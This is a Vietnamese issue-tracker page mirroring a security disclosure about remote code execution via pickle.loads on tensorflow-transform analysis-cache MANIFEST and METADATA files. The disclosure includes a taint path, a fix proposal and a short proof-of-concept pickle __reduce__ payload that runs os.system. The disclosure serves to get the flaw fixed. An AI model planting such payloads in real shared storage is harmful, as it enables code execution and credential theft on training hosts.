RCE via `pickle.loads` on analysis-cache MANIFEST file (`ReadAnalysisCacheFromFS`)
Chưa có ai nhận issue này.
Đánh giá
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức phù hợp với người mới
- 35/100
- Loại issue
- Lỗi
- Độ rõ ràng
- Đặc tả rõ ràng
- Mức độ hoạt động
- Sôi nổi
- Công nghệ
- python, tensorflow
- Lĩnh vực
- data-engineering, security
Hướng nghiên cứu
Read analyzer_cache.py around lines 107, 181, and 359–408, tracing how the MANIFEST and METADATA files are read and deserialized. The issue proposes replacing pickle serialization with JSON or protobuf and bumping the cache version; check existing cache format tests and add coverage for both file paths. Done means cache reads no longer deserialize attacker-controlled pickle data while preserving the documented cache behavior.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
RCE via pickle.loads on analysis-cache MANIFEST file (ReadAnalysisCacheFromFS)
Note: This was reported to Google via the OSS VRP on 2026-10-11 (issue 572481371) and closed as "Won't Fix (Intended Behavior)". Filing here for public transparency so users of shared cache storage are aware of the risk.
Summary
ReadAnalysisCacheFromFS deserialises the cache MANIFEST file with pickle.loads at pipeline-construction time on the driver machine, with no validation or class allowlist. An attacker who can write to the cache directory (shared GCS bucket, NFS, or any writable path) can plant a malicious MANIFEST and achieve arbitrary code execution on every machine that runs a pipeline against that cache — including CI workers and production training hosts.
Affected code — tensorflow-transform
| Location | Issue |
|---|---|
analyzer_cache.py:181 |
result = pickle.loads(manifest_file_handle.read()) — MANIFEST deserialised on the driver at graph-construction time |
analyzer_cache.py:107 |
pickle.loads on METADATA TFRecords — fires on Beam workers |
Taint path
analyzer_cache.py:199 tf.io.gfile.GFile(self._manifest_path, 'rb')
← attacker controls <cache_base_dir>/<dataset_key>/MANIFEST bytes
analyzer_cache.py:359-390 ReadAnalysisCacheFromFS(cache_base_dir, dataset_keys)
← public PTransform, standard documented usage
analyzer_cache.py:400-408 expand() → manifest_file.read()
fires on the DRIVER before the pipeline runs
analyzer_cache.py:181 result = pickle.loads(manifest_file_handle.read()) ← SINK 1
analyzer_cache.py:107 pickle.loads on METADATA TFRecords ← SINK 2 (workers)
Proof of concept
# Attacker plants a malicious MANIFEST in the shared cache directory
import pickle, os, pathlib
class Exploit:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
cache_dir = pathlib.Path("/shared/tft-cache/span-0")
cache_dir.mkdir(parents=True, exist_ok=True)
(cache_dir / "MANIFEST").write_bytes(pickle.dumps(Exploit()))
# Next pipeline run pointing at cache_dir:
# ReadAnalysisCacheFromFS(...) → pickle.loads → arbitrary code execution
The same __reduce__ payload in a METADATA-00000-of-00001 TFRecord hits the secondary sink in Beam workers.
Impact
| Dimension | Assessment |
|---|---|
| Attack vector | Network (shared cloud storage) |
| Attack complexity | Low — write a pickle payload to one file |
| Privileges required | Write access to cache directory only |
| User interaction | None — fires automatically on next pipeline run |
| Scope | Driver machine + all Beam workers |
In a typical ML platform deployment this means full compromise of the training environment: cloud credentials attached to the compute instance (GCP service account, AWS IAM role), model weights, training data, secrets in environment variables, and the ability to tamper with pipeline outputs.
Why this is not equivalent to loading an untrusted model
TFT's own documentation and TF's SECURITY.md warn that loading untrusted SavedModels is unsafe. Cache files are different — they are infrastructure artifacts written by one pipeline run and read by the next, often across team boundaries on shared GCS storage. Users have no reason to expect pickle.loads when reading a pipeline cache.
Fix
The MANIFEST is a simple dict[str, str]. Replace pickle with JSON or protobuf — both sinks disappear with no semantic change to the cache format. A cache-version bump handles backward compatibility. DatasetCacheMetadata (strings and ints only) is equally trivial to serialise without pickle.
- Ngôn ngữ chính
- Python
- Star
- 991
- Fork
- 226
- Chỉ số merge pull request
- Không có pull request nào được merge trong 30 ngày
Chuẩn bị môi trường
- Không có Dockerfile hay tệp Docker Compose
- Không có mẫu pull request
- Đọc hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của tensorflow/transform
-
stat:contributions welcome type:bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 45/100
tensorflow/transform#347 ·
-
scale_to_z_score_per_key should give caller control over OOV behaviorCó thể làm lại được @iindyk đã nhận 1827 ngày trước và không có pull request nào đang mở. Đang mởstat:contributions welcome type:feature
tensorflow/transform#252 · 6 bình luận · 2 người được giao ·
-
Table not initialized when serving modelCó thể làm lại được @varshaan đã nhận 2022 ngày trước và không có pull request nào đang mở. Đang mởEtsy stat:contributions welcome
tensorflow/transform#237 · 11 bình luận · 1 người được giao ·
-
tft.apply_saved_model raises ValueError when running beam pipelineCó thể làm lại được @varshaan đã nhận 2042 ngày trước và không có pull request nào đang mở. Đang mởstat:awaiting tensorflower type:support
tensorflow/transform#231 · 7 bình luận · 2 người được giao ·
Tất cả issue của tensorflow/transform
Issue tương tự
-
Độ khó 1/5 1-3 giờ Mức phù hợp với người mới 76/100
Maintainer thường phản hồi trong vòng 1 ngày
-
bug documentation good first issue help wanted testing
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 84/100
Maintainer thường phản hồi trong vòng 1 ngày
-
Show evidence time and supersede warnings in the memory inspectorCó thể đã có người làm @Sinchanak-212 đã nhận hôm nay. Đang mởarea: ux good first issue priority: medium
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 84/100
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 86/100
daniel-ospina/tortoise#11649 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 86/100
ComposioHQ/awesome-claude-skills#2438 ·
Maintainer thường phản hồi trong vòng 15 ngày